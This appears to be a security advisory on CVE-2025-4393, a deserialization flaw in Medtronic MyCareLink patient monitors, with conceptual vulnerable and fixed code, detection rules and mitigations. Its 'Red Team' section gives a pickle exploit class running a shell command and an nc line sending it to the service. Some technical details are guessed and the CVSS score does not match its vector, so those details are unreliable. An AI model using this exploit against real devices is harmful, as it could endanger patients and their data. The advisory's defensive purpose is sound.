CVE-2025-4393

Executive Summary

CVE-2025-4393 is a critical deserialization vulnerability affecting Medtronic MyCareLink Patient Monitor models 24950 and 24952. The flaw resides in an internal service that deserializes untrusted data, enabling a local attacker with physical or network access to the device to craft a malicious binary payload. Successful exploitation can cause the service to crash (denial of service) or escalate privileges, potentially compromising patient monitoring data and device integrity. With a CVSS score of 6.5 (Medium), the vulnerability is locally exploitable but requires low privileges and no user interaction. No public proof-of-concept (PoC) or patch is currently available, though the vendor has set a remediation date of June 25, 2025. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies for DevSecOps and threat intelligence teams.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary medical device firmware. Supply chain risk is limited to the physical device and its internal software components.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.5 (Medium)
• Attack Vector: Local (AV:L) – attacker must have local access to the device (e.g., via USB, serial console, or local network).
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs basic user-level access.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – potential exposure of patient data.
• Integrity Impact: High (I:H) – device behavior can be altered.
• Availability Impact: High (A:H) – service crash leads to denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential impact on patient safety and data privacy elevates the risk for healthcare environments. The lack of a patch and public exploit increases urgency for monitoring and mitigation.

Deep Dive & Mechanics

The vulnerability is a classic deserialization of untrusted data (CWE-502). The MyCareLink Patient Monitor runs an internal service (likely a custom daemon or Windows service) that listens for serialized objects. When the service deserializes data without proper validation, an attacker can craft a binary payload that triggers arbitrary code execution or causes a crash.

Technical Details:

• Affected Component: Internal service handling serialized data (e.g., using Java deserialization, .NET BinaryFormatter, or Python pickle).
• Attack Vector: Local attacker sends a crafted binary payload to the service (e.g., via a named pipe, local socket, or file drop).
• Exploitation Mechanism: The payload exploits deserialization gadgets or triggers type confusion, leading to memory corruption or code execution.
• Impact: Service crash (DoS) or privilege escalation to SYSTEM/root level.

Why It Matters: Medical devices are often isolated but can be compromised via USB drops or lateral movement. A local attacker could pivot from a compromised workstation to the monitor, exfiltrating patient data or disrupting monitoring.

Vulnerable vs. Patched Code

No official patch is available. The vendor has only provided a future remediation date (June 25, 2025). Below is a conceptual comparison based on typical deserialization fixes.

Vulnerable Code (Conceptual):

import pickle
import socket

def handle_request(data):
    obj = pickle.loads(data)  # Unsafe deserialization
    process(obj)

# Service listens on local socket
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.bind('/tmp/monitor_service')
sock.listen(1)
while True:
    conn, addr = sock.accept()
    data = conn.recv(4096)
    handle_request(data)

Patched Code (Conceptual):

import json
import socket

def safe_deserialize(data):
    try:
        obj = json.loads(data)  # Use safe format
        return obj
    except json.JSONDecodeError:
        return None

def handle_request(data):
    obj = safe_deserialize(data)
    if obj is None:
        return
    process(obj)

# Same socket setup with input validation

Key Differences:

• Replace unsafe deserialization (pickle) with safe alternatives (JSON).
• Add input validation and allowlists.
• Implement integrity checks (e.g., HMAC) on serialized data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Local access to the MyCareLink device (e.g., via SSH, USB, or local network).
• Knowledge of the internal service endpoint (e.g., named pipe /tmp/monitor_service or TCP port 12345).

Exploitation Steps:

1. Reconnaissance: Identify the service using netstat -an or lsof -i on the device.
2. Craft Payload: Use a deserialization tool like ysoserial (Java) or pickle (Python) to generate a malicious payload.

   import pickle
   import os
   
   class Exploit:
       def __reduce__(self):
           return (os.system, ('/bin/sh -c "echo pwned > /tmp/pwned"',))
   
   payload = pickle.dumps(Exploit())
   with open('payload.bin', 'wb') as f:
       f.write(payload)
   

3. Send Payload: Use netcat or a custom script to send the payload to the service.

   cat payload.bin | nc -U /tmp/monitor_service
   

4. Verify: Check for service crash or privilege escalation (e.g., id shows root).

Expected Outcome: Service crash or shell with elevated privileges.

Blue Team (Defensive)

Detection:

• Monitor for unexpected local socket connections.
• Log deserialization errors or crashes.
• Use file integrity monitoring for payload files.

Hunting:

• Search for files named payload.bin or unusual binary data in /tmp.
• Analyze service logs for deserialization exceptions.

Mitigation:

• Restrict local access to the device (physical security).
• Implement network segmentation for medical devices.
• Apply vendor patch when available (June 25, 2025).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_4393_Deserialization_Payload {
    meta:
        description = "Detects malicious pickle payloads targeting Medtronic MyCareLink"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-4393"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 header
        $reduce = /\x28\x63\x6f\x73\x0a\x73\x79\x73\x74\x65\x6d/  // (cos\nsystem
        $shell_cmd = /sh\s+-c\s+/  // shell command execution
    condition:
        $pickle_magic at 0 and ($reduce or $shell_cmd)
}

Sigma Rule

title: CVE-2025-4393 Deserialization Attempt on MyCareLink
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects local deserialization attempts via pickle payloads
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/nc'
        CommandLine|contains: '/tmp/monitor_service'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-4393 MyCareLink Deserialization Attempt"; flow:to_server; content:"|80 04 95|"; depth:3; content:"|28 63 6f 73 0a 73 79 73 74 65 6d|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place MyCareLink monitors on a separate VLAN with strict firewall rules.
2. Restrict Physical Access: Ensure only authorized personnel can connect to the device.
3. Monitor Logs: Enable logging for local services and review for anomalies.
4. Disable Unused Services: If the internal service is not required, disable it.

Long-Term Fix:

• Apply vendor patch after June 25, 2025.
• Implement input validation and safe deserialization (e.g., JSON instead of pickle).
• Conduct regular security assessments of medical devices.

Workaround:

• Use host-based intrusion detection (HIDS) to monitor for deserialization patterns.
• Deploy application allowlisting to prevent unauthorized binaries.

Valters IT